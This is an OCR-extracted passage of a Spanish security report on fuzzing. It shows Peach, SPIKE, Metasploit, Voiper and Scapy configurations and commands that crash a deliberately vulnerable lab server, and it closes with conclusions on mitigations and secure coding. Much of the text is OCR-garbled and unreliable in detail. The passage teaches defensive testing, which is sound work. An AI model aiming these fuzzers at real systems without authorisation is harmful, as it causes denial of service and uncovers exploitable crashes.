00000010 61 6¢C 6C 65 6e 67 63 68 61 6C 6C 65 6e 67 63 68 allengch allengch
00000020 61 6C 6C 65 6e 67 63 68 61 6C 6Cc 65 62 67 22 03 allengch alleng".
60000030 ©1 00 Oc 10 ©0 60 08 6b 65 79 6b 6b 65 79 6b 14 ....... k eykkeyk.
00000040 ©3 01 00 61 @1 16 63 01 00 10 68 69 68 69 68 69 ........ .. hihihi
00000050 68 69 68 69 68 69 68 69 68 69 hihihihi hi

00000000 53 53 48 2d 32 2e 30 2d 4f 70 65 6e 53 53 48 5 SSH-2.0- OpenSSH_

00000016 35 2e 39 70 31 20 44 65 62 69 61 6e 2d 35 75 62 5.9pl De bian-5ub

00000020 75 6e 74 75 31 ed @a untul..

Entire conversation (129 bytes)

Figura 121. ssl.spk (spike)

1 Using Spike to find vulnerabilities in Vulnserver

http://resources.infosecinstitute.com/intro-to-fuzzing/
An Introduction to SPIKE, the Fuzzer Creation Kit
www.blackhat.com/presentations/bh-usa-02/bh-us-02-aitel-spike.ppt/

142
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Peach fuzzing framework es sin duda, hoy en dia, uno de los mejores fuzzers para todo
tipo de aplicaciones. La idea de este framework, desarrollado por Michael Eddington, es
definir la estructura de ficheros, binarios, protocolos, etc. en templates XML. Estos templates
(plantillas), denominados pits, definiran qué campos o estructuras de datos desean
mantenerse intactas y cuales serdn modificadas aleatoriamente (Random Mutation
Strategy). Peach cuenta también con Agentes, que se encargaran de monitorizar el
comportamiento de la aplicacion durante la fase de fuzzing. Al igual que FOE, estos agentes
utilizaran el plugin de Microsoft !Exploitable con el que analizar cualquier crash generado
por la aplicacion. La parte mas tediosa de Peach es sin duda definir la estructura de datos
que se desea fuzzear. Desde el apartado Public Pit files** pueden verse algunos pits ya
definidos para ficheros zip, arp, binarios elf, etc.

Veamos un ejemplo sencillo. Intentaremos fuzzear el servidor vulnerable de Grey Corner

Instituto Nacional
de Tecnologias
de la Comunicacién

vulnserver.exe*

- «DataModel name="vulnserver"=
<String name="comando" value="TRUN" token="true" mutable="false" /=
<String name="param" value="bane" /=

</DataModel=

- Zstatemodel name="ThestateMode
- «State name="TheState":
- <Action type="output">
<DataModel ref="vulnserver" /=
</ Action=
</State=
</StateModel=

- <Agent name="RemoteAgent’ [ocation="http://192.168.1.50:9000"
- =Monitor name="Debugger" class="debugger.WindowsDebugEngine":

<Param name="CommandLine" value="c:/vulnserver/vulnserver.exe" /=

=/Monitorz
</Agent=
- <Test name="NetworkTest >
<Agent ref="RemoteAgent" /=
<StateModel ref="TheStateModel" /=
- «Publisher class="tcp.Tcp">
<Param name="host" value="192.168.1.50" />
<Param name="port" value="2222" /=
</Publisherz
</Test>
- <RUN Nname="Defaultkun"=
<Test ref="NetworkTest" /=
- =Logger class="logger.Filesystem":
<Param name="path" value="logs" /=
</Logger=
</Runz

Figura 122. Pit para vulnserver.exe

, €l cual, sabemos que es susceptible de ser explotado mediante el envio

de un comando TRUN con un parametro
suficientemente largo. Al igual que con
SPIKE es necesario en primer lugar
entender el protocolo empleado. En este
caso es realmente sencillo, Unicamente el
servidor acepta una serie de comandos y
devuelve una cadena indicando el éxito o
no del mismo. Empezaremos definiendo el
pit para este servicio.

Como vemos en la imagen adjunta, se trata
de un fichero XML formado por cinco
partes. En la primera de ellas, DataModel,
se define la estructura de los datos que
deseamos fuzzear. En este caso
Unicamente definimos la cadena TRUN
(vease un espacio al final) seguida de otra
cadena denominada bane. El parametro
token le indica a Peach que dicho campo
es obligatorio y que necesita identificarlo
antes de continuar.

Puesto que en este caso, vulnserver requiere obligatoriamente del comando TRUN para
poder procesarlo correctamente, fijaremos token = true para dicho string.

Segun este modelo de datos, Peach generara cadenas del tipo:

3 Ppublic Pits Files
http://peachfuzzer.com/PublicPits
% Introducing Vulnserver

http://grey-corner.blogspot.com.es/2010/12/introducing-vulnserver.html
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TRUN randomvaluel
TRUN randomvalue2
TRUN randomvalue3

La segunda estructura, StateModel, se encarga de definir el flujo de datos durante el
proceso de fuzzing. En este caso especificaremos como action type=output indicando que
se enviara la salida mediante un Publisher (visto méas adelante).

La siguiente estructura Agent, define en qué maquina se encuentra el Agente de
monitorizacion (location="192.168.1.50:9000”) asi como la ruta del ejecutable a monitorizar
(parametro CommandLine).

La estructura , Se encargara de agrupar los bloques StateModel y Agent definidos
anteriormente y definir los Publishers encargados de enviar los datos generados por Peach.
Puesto que en este caso se trata de una aplicacion que hace uso de sockets sobre TCP se
ha definido el Publisher class TCP asi como la IP y el puerto en el que escucha
vulnserver.exe.

Por ultimo, es necesario definir donde se definira el tipo de test que se llevara a cabo
(en nuestro caso el Unico definido: NetworkTest) y el directorio donde se almacenaran los
logs generados.

En resumen, lo que tenemos seran dos maquinas A y B. En B se encontrara el servicio
vulnserver.exe escuchando en el puerto 2222. Ademas, en dicha maquina existird un Agente
escuchando en el puerto 9000 que recibird érdenes desde A durante el proceso de fuzzing.

Desde A por tanto ejecutaremos A B 192.168.1.50: 9000

Peach con el pit generado = _/ (Peach Agent)
anteriormente, el cual empezara a i = : f@

Cr.
fuzzear a vulnserver.exe. En caso kd\
de que se produzca un DoS, el
Agente, llamara a Windbg e |peach.bat TRUN AAAAAAAAAA 192.168.1.50: 2222
intentard debuggear dicho crash |Vulnserver.xml TRUN % ket (Vulnserver.exe)

mediante !Exploitable TRUN [T

Para comprobar que nuestro
pit esta correctamente Figura 123. Fuzzing vulnserver.exe

estructurado y carece de
errores o referencias invalidas es recomendable ejecutar:

peach.bat —t Vulnserver.xmi

Tras comprobar que nuestro pit no tiene errores, ya podemos empezar a fuzzear el servicio.
Ejecutariamos vulnserver (vulnserver.exe 2222), el Agent Peach en el equipo B (peach.bat
—a) y posteriormente el pit creado desde A (peach.bat Vulnserver.xml).

Tras ejecutar peach podemos observar su conexion con el cliente.
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WINDOWS\system32\cmd.exe - peach. bat -a

KeyhoardInterrupt [C:~peach>peach.bat —-a

iDesea terminar el trabajo por lotes (S/MD7 §

1 Peach 2.3.8 Runtim

C:wpeach>peach.bat UulServer.xml 1 Copyright <cd Hich:el Eddington

1 Peach 2.3.8 Runtime
1 Copyright <c> Michael Eddington 1 Peach Agent
[*] Starting run “"DefaultRun'
[-1 Test: “MetworkTest" (Hone)
[1:?:7]1 Element: N-A

Mutator: N-/A

/7= Listening on [98881]1 with no password

Agent: clientHello¢>
Agent: Session ID: B8e79438f cc74-11el-814a-BB0A27eBaBBS
clientHello<> all done
startMonitor{Debugger>
ndowsDebugEngine{msg.params>
I:__dinit__

[2:4384:71 Element: N/A
Mutator: BlobMutator

[3:4384:7?1 Element: N/A

Mutator: DatalreeSwapMearModesMutator figent: Sending Ack

Agent: onTestStartingd)
WindowsDebugEngineProcess_run

Starting vulnserver version 1.08

[Called essential function d11 version 1.88

[4:4384:71 Element: N/A
Mutator: StringMutator

[5:4384:71 Element

N-A is is ~ s ware?!
Mutaten: BitFlipperMutaton This is vulnerable software!?

Do not allow access from untrusted systems or networks?

Figura 124. Ejecucion de pit VulServer.xml y del peach agent

Peach empezara a fuzzear el comando TRUN con diversos valores hasta que finalmente
genera un DoS en vulnserver. Aunque los agentes tienen capacidad de generar un pcap de
la peticion que generd dicho crash (vease Monitor class="network.PcapMonitor’)**®> en este
caso podemos hacer uso del operador matches desde Wireshark indicandole los bytes que
generaron el EIP overwrite. De esta manera podemos localizar el paquete que generd el
DoS vy utilizarlo de nuevo para recrear el crash.

~ Atheros ARS007EG Wireless Network Adapter

File Edit ¥iew Go Capture Analyze Statistics Telephony Tools  [nternals  Help

DWARN CEHXEL | LcswT L (BEIQAQAAN WH!
Filer: Itcp matches"\xsl\xBU\xCD\xBU"I j Expression... Clear  Apply

Mo, Tine: Jsource N, |estination IProtocol _lLength [Wew Column  [New Column FFFFFFFF)
1060 48. 276387 152.10¢.1.34 192.168.1.50 TCP 2222 1060 2222 FFi

Frame 1060: 1514 bytes o
Etharnet II, Src: AskeyCo
Internet Protocol Wersion
Transmission Control Protoco

Follow TCP Stream

Stream Content

00000774 80 B0 80 81 90 <l b7 Y c0o00008 coooo
00000784 fe 80 80 80 80 81 88 oo
000007594 80 80 80 81 b7 47 fo
000007A4 B0 B0 80 ab fe 80 80
00000784 90 35 f8 80 80 81 bo
000007C4 81 82 fe 80 80 80 80
00000704 80 hs 2b e0 80 b0 fO
000DOTE4 25 <1 81 fc 80 B0 B0 ad 0 80 50
ggggg;;j 1&:‘8 gg g% EE ;g gg g% gg gg gj?_ l;(é .%g o Don't know hove to continue because memory at address BOCOS081 is not readable. Try to change EIF
00000814 fc B0 80 80 80 b3 fe 80 80 80 80 80 b0 TC 80 BO ...vvvvn vuvnunns program.

NNNNNR?4 - &N /1 aR FR& &N RN RN kN Fe BN &N RN AN —_—

Tl Follow TCP Stream

Stream Conkent

wire (12112 hits), 1514 bytes captured 12112 bits)

aa:h4:64 (00:21:63:aa:h4:647), Dst: IntelCor_eb:f7:cf (00:13:e8:
Src: 192.168.1.34 (152.168.1.34), Dst: 192.168.1.50 (192.168.:
src Port: dmdocswe (26370, Dst Part: EthernNet-IP-1 (22227,

|Entire corwersation (6135 bytes) -1

w Iniciol & peach - Dropbo... | (3 peach | |53 Escritorio | W Atheros ARSOD.., | Bl Follow TP Stra.‘.l [ Follow TCP S

Figura 126. Filtro "tcp matches"” Figura 125. Direct EIP Overwrite

Aunqgue este ejemplo es sencillo y en la practica no seria necesario peach para un servicio
como vulnserv.exe, este framework dispone de funcionalidades que lo hacen realmente
flexible y practico para fuzzear todo tipo de aplicaciones.

5 network.PcapMonitor

http://peachfuzzer.com/PcapMonitor
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Algunas de estas caracteristicas como relations'*® (size, when, count, offset) o
transformers permiten establecer relaciones y condiciones a la hora de generar los bloques
de datos definidos. Asi, por ejemplo, si en nuestro DataModel hemos definido un campo de
tipo numérico en el que se define la longitud en bytes de otro bloque de datos, podremos
fuzzear este Ultimo e indicar a Peach que actualice el campo correspondiente con el nuevo
tamafo generado. Con los transformers podremos realizar operaciones sobre los datos,
como por ejemplo comprimir y descomprimir campos y calcular el CRC correspondiente.

Se recomienda el post de Pyoor “Fuzzing with Peach”*’ donde se pone en préctica estas
funcionalidades y donde se explica paso a paso la creacién de un pit para un fichero.zip

146 Relation (Peach)

http://peachfuzzer.com/Relation
Fuzzing with Peach
http://www.flinkd.org/2011/07/fuzzing-with-peach-part-1/

147
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8.2.2. Fuzzing con Metasploit (http_get_uri_long.rb, smtp_fuzzer)

Metasploit es sin duda uno de los frameworks mas utilizados para hacer pentesting, el cual
cuenta con un gran repertorio de exploits asi como mddulos auxiliares que facilitan
enormemente la tarea del pentester durante las fases de Intelligence Gathering™,

Vulnerability Analysis Exploitation y Post Exploitation.

7 T msf > use auxiliary/fuzzers/
Entre estos modulos auglllares se encuentran auxiliary/fuzzers/dns/dns_fuzzer
numerosos moédulos de fuzzing que pueden resultar BUs Ltany fuzcers/Ttp/cliant ftp
. . o o auxu}ary/fuzzers/ftp/ftp_pre_post‘
muy utiles gracias a su flexibilidad y facilidad de uso. 23312:3;:3?ii:2;:3‘;?2;22‘;22”;3&{3“9
Ademas, como se vera a continuacion, modificar auxi{tary;;uzzers;htéﬁ/hgtigetiuristrings
. auxiliary/fuzzers/smb/smb2_negotiate_corrupt
dichos fuzzers para adaptarlos a nuestras auxiliary/fuzzers/snb/smb_create_pipe
. , . auxiliary/fuzzers/smb/smb_create_pipe_corrupt
necesidades no  resultara para nada complejo auxiliary/fuzzers/smb/smb_negotiate_corrupt
H H . auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt
gracias a la APl de Metasploit y su gran cantidad de SGAULtarv/inieers /ohbjonb tiee connect
ivi auxiliary/fuzzers/smb/smb_tree_connect_corrupt
mlxms._ Supongamos q_ug antes de poner en auxtitary/fuzzers/sntp/snEp. fuzzer
produccién un nuevo servicio web queremos testear SUSTUESTY iUz 2ansl=sh/ssiekextnlt: cornupt
| auxiliary/fuzzers/ssh/ssh_version_15
el mismo frente a ataques comunes. Uno de los auxiliary/fuzzers/ssh/ssh_version_2
. auxiliary/fuzzers/ssh/ssh_version_corrupt
puntos que deben valorarse es que el servidor web auxiliary/fuzzers/tds/tds_login_corrupt
, . auxiliary/fuzzers/tds/tds_login_username
compruebe correctamente los parametros recibidos auxiliary/fuzzers/wifi/fuzz_beacon

auxiliary/fuzzers/wifi/fuzz_proberesp

por GET asi como su longitud. Algunos servidores
web no implementan checks sobre la longitud en Figura 127. Listado médulos de fuzzing (Metasploit)
este tipo de peticiones por lo que un atacante podria

enviar cadenas GET suficientemente largas como para producir un DoS o, en el peor de

los casos, ejecutar cédigo en el mismo.

T e S El fuzzer http_get_uri_long.rb
comected = creado por nullthreat permite fuzzear
ok get once( 1 cptaLreimeont) 1] oiet) e este tipo de peticiones. Si

observamos el cddigo del script,

Last oA vemos que desde la funcion
tetans do_http_get se realiza el envio de
bilgs s peticiones GET utilizando como uri
1.pto(datastorel 1.to_i) do [len] el parametro #{uri} enviado desde el
T L método run. En este método se

0 iterard de 1 hasta MAXLENGTH,
(tpmat . que representa la longitud maxima
Arinistatus( puenli) que debe tomar el URI generado y

que es fijado por el usuario antes de
lanzar el fuzzer (set MAXLENGTH
16000)

r = do_http_get(uri,:timeout => 0.25)

#{cnt} #{len}")

::Exception => e
last_ err = e

disconnect

Figura 128. Fragmento de cddigo de http_get_uri_long

8 pentest: Information Gathering
http://cert.inteco.es/extfrontinteco/img/File/intecocert/Estudiosinformes/cert_inf_seguridad_information_gathering.pdf
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La funcién fuzzer_gen_string(len) esta definida dentro del maédulo
lib/msf/core/auxiliary/fuzzer.rb*® incluido al comienzo del script (Msf::Auxiliary::Fuzzer) y
sera la encargada de generar cada uno de los patrones de fuzzing en funcion de la longitud
recibida por el iterador len. Para lanzar el script ejecutariamos lo siguiente:

msf auxiliary( ) > set VERBOSE true
VERBOSE => true

msf auxiliary( ) > set RHOST 192.168.1.42
RHOST => 192.168.1.42

msf auxiliary( > set MAXLENGTH 10000
MAXLENGT 10000

msf auxiliary( ) > set RPORT 8080

RPORT => 8080

msf auxiliary( ) > exploit

[*] Fuzzing with iteration 100 using string length 100
*] Fuzzing with iteration 200 using string length 200
*]1 The service may have crashed: iteration:268 len=269 uri="'"'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX " ' error=The connection was refused by the remote host (192.168.1.42:8080).
[*] Auxiliary module execution completed

Figura 129. Fuzzer http_get_uri_long (crash web server)

La salida del script nos informa que en la iteracion 268 el servidor web dejé de responder
por lo que es probable que dicha cadena haya producido un DoS en la aplicacién. Si
lanzamos de nuevo el servidor web, esta vez desde Immunity Debugger, observariamos que
justo en el mismo punto el fuzzer finalizaria la aplicacion tras “alterar” el stack, produciendo
que el registro EIP apunte a 0x00000000.

(OB TE «x b4l 1l emtwhcPkbzr..

17

x|

Don't know how to continue because memory at address 00000000 is not readable. Try to change EIP or pass
exception to program.

Figura 130. Immunity Debugger (Savant crash)

Si capturasemos trafico

. - Filter: Ihttp.request‘method =="GET" *| Expression... Clear Apply
durante el sucesivo envio de L
L. Mo, [Time |5ource |pestination [Protocol _[length hnfo
pet|c|ones GET podn’amos ver 10 1.01388% 192.168.1.33 192.168.1.42 HTTP 105 GET /X HTTP/1.1
’ 21 1.064329 192.168.1.33 192.168.1.42 HTTP 106 GET #0< HTTP 1.1
el incremento del URI tal y 31 1.114616 192.168.1.33 152.168.1.42 HTTR 107 GET /5040¢ HTTR/L.1
) 42 1.149028 192.168.1.33 192.168.1.42 HTTP 108 GET /000 HTTP/1.1
COmo se muestra en la imagen 53 1.182079 192.168.1.33 102.168.1.42 HTTP 100 GET /50000 HTTR/L.1
61 1.443083 152.168.1.33 152.168.1.42 HTTP 110 GET SCoatod HTTRAL. 1

adjunta. , _ ,
Figura 131. Proceso de fuzzing (Wireshark)

9 metasploit-framework / lib / msf / core / auxiliary / fuzzer.rb

https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/auxiliary/fuzzer.rb
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Véase otro ejemplo. En este caso el tipo de servicio que se desea comprobar es un servidor
SMTP instalado en un equipo Linux. Metasploit cuenta con el modulo smtp_fuzzer con el
que fuzzear gran variedad de parametros (EHLO, HELO, DATA, VRFY,...)

auxitiiary > show options

Module options (auxiliary/fuzzers/smtp/smtp_fuzzer):

Name Current Setting Required Description

Figura 132. Show options (Comandos a fuzzear)

S| Ieemos Sin embargo el RFC de SMTP, Once the client SMTP has confirmed that support exists for the

. , . pipelining extension, the client 3MTP may then elect to transmit
ObservaremOS que eXlSten mas me'[OdOS que groups of SHTP commands in batches without waliting for a response to

each individual command. In particular, the commands BSET, MATIL FROM,

no se Imp|emental’0n en eSte médUIO Uno SEND FROM, SOML FROM, 3AML FROM, and RCPT TO can all appear anywhere
de estOS parémetrOS es NOOP que Segl:ln in a pipelined command group. The EHLO, DATAL, WRFY, EXPMN, TURL,

QUIT, and NOOP commands can only appear as the last command in a

|nd|Ca el RFC no t|ene funC|OnaI|dad alguna group since their success or failure produces a change of state which

the client IMTP must accommodate. [(NOOP is included in this group so

mas que recibir un OK por parte del servidor | it can e used as a synchronization point.)

SMTP.
Figura 133. RFC SMTP

Si queremos afadir este
nuevo parametro a nuestro
fuzzer Gnicamente
necesitamos abrir el script y
afiadir el mismo a la lista de
opciones de registro (dentro
de register_options) vy
posteriormente dentro del
bucle encargado de iterar
para cada uno de los strings
generados.

Figura 134. smtp_fuzzer (register options)

1.upto(datastore[ 1) do |interection|
cnt += 1

: Puesto que NOOP tiene la
str = fuzzer_gen_string(cnt) . i i

cmd=datastore[ ] misma sintaxis que
HELO,VRFY o] EXPN,
(datastore[ 1) Unicamente necesitamos
aenc incorporarlo como una opcion
c = datastore[ méas dentro del primer bloque
Enpe—erd(#, trug de codigo (en el primer when)

disconnect

Una vez hechos los cambios
S podemos lanzar msfconsole y
smtp_send(c, true fuzzear dicho parametro.

Cc=

smtp_send(c,fals
disconnect

Figura 135. smtp_fuzzer (NOOP option)
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msf auxiliary( ) > set CMD NOOP

CMD => NOOP

msf auxiliary( ) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1

msf auxiliary( ) > show options

Module options (auxiliary/fuzzers/smtp/smtp_fuzzer):

Name Current Setting Required
CMD

INTERACTIONS 100

MAILFROM zombie@brains.net

Instituto Nacional
|nTeCO de Tecnologias

de la Comunicacién

Description

Command to fuzzer (accepted: EHLO, HELO, MAILFROM, RCPTTO, NOOP, DATA, VRFY, EXPN)
Number of interactions to run
FROM address of the e-mail

msf

MAILTO human@ahhhzombies111.net TO address of the e-mail

RESPECTORDER true Respect order of commands

RHOSTS 127.0.0.1 The target address range or CIDR identifier
RPORT 25 The target port

STARTLEN 100 Lenght of the string - start number
THREADS 1 The number of concurrent threads

auxiliary( ) > exploit

[*] Fuzzing with iteration 1
250 2.0.0 OK

[*] Fuzzing with iteration 2
250 2.0.0 OK

[*] Fuzzing with iteration 3
250 2.0.0 OK

] Fuzzing with iteration 4

250 2.0.0 OK

Figura 136. Ejecucion smtp_fuzzer (CMD = NOOP)

Como vemos, es realmente sencillo adaptar los scripts disponibles a nuestras necesidades.
Una de las mayores ventajas de ruby es su facilidad de lectura por lo que nos resultara muy
sencillo entender el cédigo o modificarlo a nuestro gusto. Si se desea crear un médulo
independiente con alguna funcionalidad nueva, por ejemplo, para fuzzear otro protocolo, se
recomienda partir de algin maédulo ya existente que ayude a entender la API**® empleada
por Metasploit. No obstante, puede consultar la guia de desarrollo™* si se pretende indagar
mas a fondo en este framework. Incluso si algin modulo resulta interesante para la
comunidad de Metasploit, puede remitirlo mediante un pull request™? desde Github; donde
se valorara su inclusion en la rama master'>® del mismo. Asegurese no obstante que dicho
médulo cumple los requisitos™ exigidos antes de remitirlo.

8.2.3. Otras herramientas/scripts (/pentest/fuzzers, Scapy)

Ademas de las aplicaciones vistas anteriormente, existen una gran variedad de scripts asi
como herramientas similares que tienen el mismo propdsito. Si duda alguna Backtrack es
uno de los mejores sitios para buscar herramientas de este tipo.

%0 Metasploit Framework API Documentation

http://dev.metasploit.com/documents/api/

Metasploit 3.4 Developer's Guide
http://dev.metasploit.com/redmine/projects/framework/wiki/DeveloperGuide

Metasploit: Metasploit Development Environment
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
Rapid7 / metasploit-framework

https://github.com/rapid7/metasploit-framework

Metasploit: Acceptance Guidelines
https://github.com/rapid7/metasploit-framework/wiki/Acceptance-Guidelines
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Dentro del directorio /pentest/fuzzers pueden encontrarse herramientas como BED (vista
en el caso de estudio del servidor web vulnerable), rfuzz, sfuzz, sickfuzz, spike y voiper.

VOIPER

Esta herramienta nos permitira hacer fuzzing sobre dispositivos VOIP aprovechandose del
framework Sulley y desde donde podremos realizar pruebas de estrés a practicamente
todos los métodos SIP (INVITE, ACK, NOTIFY, SUBSCRIBE, REGISTER, etc.). En el
ejemplo mostrado a continuacién, Voiper utiliza un proceso denominado crash detection
(nivel 2) el cual detecta cuando se produce un DoS de la aplicacion, momento en el que
para de fuzzear. El switch —m especifica el tamafio de las cadenas generadas.

:/pentest/fuzzers/voip/voiper# python fuzzer.py -f SIPInviteCommonFuzzer -c 2 S& -p 5060 -a sessions/sce
n2 -m 1024
setting do cancel to True
setting do ster to True

ator off queue
ding

eing monitored

Figura 137. Voiper (fuzzer.py -c2)

En funcién del tipo de fuzzer utilizado (del nivel 1 al 3), es posible recrear el mismo a través
de los ficheros .crashlog, los cuales son generados cuando se produce un DoS de la
aplicacion. Para volver a lanzar dichas peticiones puede utilizar el script crash_replay.py de
forma similar a:

python crash_replay.py -f file.crashlog -i 192.168.1.1 -p 5060 -c 2

En el fichero de ayuda USAGE.txt" puede verse en detalle cada uno de los niveles y
scripts facilitados por esta herramienta.

ECHO MIRAGE

Echo Mirage es un proxy de red desarrollado por Dave Armstrong que utiliza DLL
injection™® y técnicas de hooking™’ para redirigir las llamadas a funciones de red ( send()
y recv()) con objeto de poder observar y maodificar al vuelo los datos transmitidos (permite
también el uso de action scripts y expresiones regulares).

Esta herramienta permitira también hookear funciones OpenSSL por lo que es posible ver
en texto plano los datos enviados y recibidos por aplicaciones que utilicen dichas funciones
de cifrado para transmitir informacion. Echo Mirage puede utilizarse de forma inteligente
para modificar datos de gran cantidad de aplicaciones a modo de fuzzer y analizar asi el
envio/respuesta de los mismos.

%% vVoiper: USAGE.txt
https://github.com/gremwell/voiper/blob/master/USAGE.txt
Wikipedia: DIl Injection
http://en.wikipedia.org/wiki/DLL_injection

Wikipedia: Hooking

http://en.wikipedia.org/wiki/Hooking
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Se recomienda la lectura del post "Using Metasploit
To Access Standalone CCTV Video Surveillance
Systems”'*® de Gdssecurity donde de detalla un
caso practico muy interesante en el que se usa Echo
Mirage para modificar al vuelo ciertos bytes de un
ActiveX de un sistema de videovigilancia.
Modificando algunos de los campos enviados por el
ActiveX pudo deducirse el objetivo de los mismos
gracias a las respuestas generadas por el servidor.

Active.

(Executing putty.exe)

Receive 39 brytes from 192.168.1.82:22

5353 482D 3ZZE 302D 4F70 6568 5353 485F ESSE-Z.U—DpEr.ESH_
0x0010 | 352ZE 3870 3120 4465 6Z69 6168 2ZD37 7562 5.8pl Dehian-Tub
Ox0020 756E 7475 310D 0A untul..

sk lenoth = 39, Maxinum length = 20480

SCAPY*® aparte de utilizarse como herramienta de

creacion y manipulacion de paquetes a medida,
también contiene funcionalidades de fuzzing.

Figura 138. Echo Mirage (conexién ssh)

Mediante la funcién fuzz() podran generarse cadenas aleatorias en determinados campos
del protocolo especificado. Con el siguiente ejemplo se pretende testear un nuevo servicio
SNMP utilizando los campos version y community de SNMP.

= IP(dst="192.168.1.1")/UDP(sport=161)/fuzz(SNMP(PDU=SNMPget(varbindlist=

E;;MPvarblnd(OId =ASN1_0ID("1.3.6.1.2.1.1.5.0"))1))) Las cadenas <RandNum> y
ey

[

S <RandString> indican el tipo

de dato aleatorio que se
generara. Fijese que en el
ejemplo, la funcion fuzz()
comprende Unicamente la
capa de aplicacion SNMP, si
se desease fuzzear otros
campos, por ejemplo de la
capa de red, utilizariamos la
misma funcién para IP().

Si ahora observasemos con
Wireshark el trafico generado
una vez hecho el send(), nos
encontrariamos con
peticiones del estilo:

Figura 139. Scapy (fuzzing SNMP)

8 Using Metasploit To Access Standalone CCTV Video Surveillance Systems

http://blog.gdssecurity.com/labs/2012/5/15/using-metasploit-to-access-standalone-cctv-video-surveillanc.html
Manipulacién avanzada e interactiva de paquetes con Scapy
http://seguridadyredes.wordpress.com/2009/12/03/scapy-manipulacion-avanzada-e-interactiva-de-paquetes-parte-1/
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Filter: |snmp v | Expression... Clear ‘ Puede Comprobarse que tanto
No. Time Source Destination  Protocol Length Info ] ) | la versiéon como el Community
1295 65.222030  192.168.1.35 192.168.1.1 SNMP 255 get-reguest 1.3.6.1.2.1.1.5.0 string son generados

1297 65.230827 192.168.1.35 192.168.1.1 SNMP 332 get-request 1.3.6.1.2.1.1.5.0

aleatoriamente en cada get-

» Frame 1299: 446 bytes on wire (3568 bits), 446 bytes captured (3568 bits) request. Pueden encontrarse

» Ethernet II, Src: IntelCor_eb:f7:cf (00:13:e8:eb:f7:cf), Dst: ZyxelCom 80:ca:3b (40:4a:03:80:ca:3b) mé.S ejemplos de este tlpO en
» Internet Protocol Version 4, Src: 192.168.1.35 (192.168.1.35), Dst: 192.168.1.1 (192.168.1.1)

» User Datagram Protocol, Src Port: snmp (161), Dst Port: snmptrap (162) la documentacion oficial de
v Simple Network Management Protocol Scapylﬁo-

version : exe0T1b769d8971cfecc

community [truncated]: qlAsAJgMdBUXHWszFITZPﬁruWr3Eh658fPPbd5h?Tybr5m2u5xJ5tZ48A085WuwBMAUHZeAJ

Figura 140. Wireshark (get-request SNMP)

DUFp SUILE Tree eqition ¥ 1.4.0

burp intruder repeater window about

e =k
Estas herramientas solo representan una minoria de la (23] altzck _saie coluns

gran cantidad de fuzzers'® existentes hoy en dia, por lo 2| pstors [ [sner st o roms

que, en funcién de nuestras necesidades POUEMOS | wumoms e [ oo rootre poieete | oo

elegir entre un gran nimero de herramientas. Dentro de | sgseas sosison 3@4“%1 ﬂpﬂsmm S— gfams T ;g‘?gm B
la auditoria web, existen por ejemplo numerosas | i femwm DL e -
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diferenciarse, sin embargo, el concepto de fuzzing

utilizado por estas herramientas frente al empleado | ===

en los ejemplos anteriores.

Herramientas como Spike, Sulley o Peach

intentaran corromper el flujo de ejecucion del Figura 141. Fuzzing con Burp
software mediante entradas irregulares para

producir un DoS (crash) que posteriormente serd analizado por debuggers para valorar las
probabilidades de explotacion. Este es el concepto original del que partié el término fuzzing.
Por otro lado, herramientas como WebScarab o XSSer intentaran evadir los filtros de
entrada de determinadas aplicaciones (generalmente servicios web) mediante técnicas
sofisticadas para reconstruir consultas sql, conseguir usuarios, ejecutar cédigo dentro del
entorno web, etc. Ambos conceptos tienen el denominador comin de aprovecharse de
debilidades en la validacion de parametros de entrada pero sin embargo buscan obijetivos
diferentes.

160 scapy: function fuzz()

http://lwww.secdev.org/projects/scapy/demo.html

Fuzzing Tools

http://lwww.computerdefense.org/2007/01/fuzzing-tools/

Webscarab Tutorial Part 3 (fuzzing)
http://travisaltman.com/webscarab-tutorial-part-3-fuzzing/

A Fuzzing Approach to Credentials Discovery using Burp Intruder
http://www.sans.org/reading_room/whitepapers/testing/fuzzing-approach-credentials-discovery-burp-intruder_33214
164 SQLMap

http://sqlmap.org/

Cross Site "Scripter"”

http://xsser.sourceforge.net/

% Havij v1.16 Advanced SQL Injection
http://lwww.itsecteam.com/products/havij-v116-advanced-sql-injection/index.html
Google code: Fuzzdb

http://code.google.com/p/fuzzdb/
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9. CONCLUSIONES

A lo largo del informe se han visto numerosas técnicas de mitigacion implementadas tanto
por compiladores como por los propios sistemas operativos. Asimismo, se ha demostrado
que la eficiencia de dichas medidas por separado son absolutamente ineficientes y que,
Unicamente en su conjunto, servirAn como barrera para frenar gran variedad de ataques que
se aprovechan de software vulnerable. Creer que DEP, SEHOP o ASLR pueden ser
suficientes para mitigar la mayor parte de los ataques es como pensar que un firewall es
suficiente para proteger las maquinas de nuestra DMZ. El concepto deep security
empleado en el mundo del networking para proteger los equipos de una organizacion debe
ser aplicado de igual forma en el mundo del software. Asi, si para proteger un servidor web,
se deberian de emplear firewalls, routers, IDS/IPS, WAFs, entornos correctamente
bastionados, etc., para proteger correctamente software es necesario utilizar procedimientos
rigurosos de programacion, afiadir mitigaciones en la fase de compilacién y aprovecharse
de las medidas de seguridad del sistema en el que se implantara el mismo. Cuantas menos
contramedidas se utilicen para construir la cadena de seguridad mayor serd la
probabilidad de que nuestro software sea comprometido.

La raiz, sin embargo, de esta gran barrera de seguridad debe empezar por la adopcion de
buenas préacticas de programacién, siendo las universidades y los ciclos formativos las
principales fuentes de concienciacion que deben de inculcar esta mentalidad durante su
enseflanza. La seguridad debe considerarse un concepto totalmente inherente al
desarrollo del software, lo que implica que desde su comienzo hasta su fin deben tenerse
en mente conceptos como buffer/heap overflow, use-after-free, off-by-one, TOCTOU, etc.,
ademas de valorar las acciones ofensivas que un atacante puede llevar a cabo sobre el
mismo.

Ademas de buenas practicas de programacion, las fases de pruebas y testing deben
considerarse de vital importancia ya que es en estas fases en las que el analista de software
debe localizar los posibles bugs que, bien por error o despiste, pasaron desapercibidos
durante el ciclo de desarrollo. La fase de testing sera por tanto una fase compleja y extensa
gue debe desempefiarse por personal cualificado, con altos conocimientos de programacion
y con cierta destreza en el uso de herramientas de analisis estatico/dinamico, debugging y
fuzzing. Ni que decir tiene que, cuando se trata de software destinado a entornos criticos
como pueden ser los SCADA, la auditoria de software debe ser totalmente exhaustiva.
